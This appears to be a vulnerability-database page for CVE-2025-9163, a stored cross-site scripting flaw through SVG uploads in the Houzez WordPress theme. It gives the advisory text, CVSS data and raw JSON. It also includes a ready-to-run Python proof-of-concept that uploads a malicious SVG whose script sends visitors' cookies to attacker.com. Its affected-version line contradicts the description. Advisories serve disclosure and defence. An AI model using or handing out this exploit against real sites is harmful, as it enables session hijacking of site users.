Security Vulnerability Report
中文
CVE-2025-9163 CVSS 6.1 MEDIUM

CVE-2025-9163

Published: 2025-11-26 13:16:01
Last Modified: 2026-04-15 00:35:42

Description

The Houzez theme for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 4.1.6 due to insufficient input sanitization and output escaping in the houzez_property_img_upload() and houzez_property_attachment_upload() functions. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Houzez Theme < 4.1.6 (所有受影响的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-9163 PoC - Houzez Theme SVG Upload XSS Note: This is for educational and authorized testing purposes only. """ import requests import sys # Malicious SVG payload with XSS svg_payload = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert('XSS - CVE-2025-9163'); document.location='https://attacker.com/steal?cookie='+document.cookie; </script> <rect width="100" height="100" fill="red"/> </svg>''' def exploit(target_url, upload_endpoint): """ Exploit function to upload malicious SVG file """ print(f"[*] Target: {target_url}") print(f"[*] Upload endpoint: {upload_endpoint}") # Prepare the malicious SVG file files = { 'file': ('malicious.svg', svg_payload, 'image/svg+xml') } # Data fields typically used by Houzez theme data = { 'prop_id': '1', 'action': 'houzez_property_img_upload' } try: print("[*] Uploading malicious SVG file...") response = requests.post(upload_endpoint, files=files, data=data, timeout=30) if response.status_code == 200: print("[+] Upload successful!") print(f"[+] Response: {response.text}") print("[*] The XSS payload will execute when the SVG is accessed.") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-9163.py <target_url> <upload_endpoint>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9163", "sourceIdentifier": "[email protected]", "published": "2025-11-26T13:16:00.683", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Houzez theme for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 4.1.6 due to insufficient input sanitization and output escaping in the houzez_property_img_upload() and houzez_property_attachment_upload() functions. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://favethemes.zendesk.com/hc/en-us/articles/360041639432-Changelog", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e0e177f3-fb24-4dd5-80d5-19b113d5f527?source=cve", "source": "[email protected]"}]}}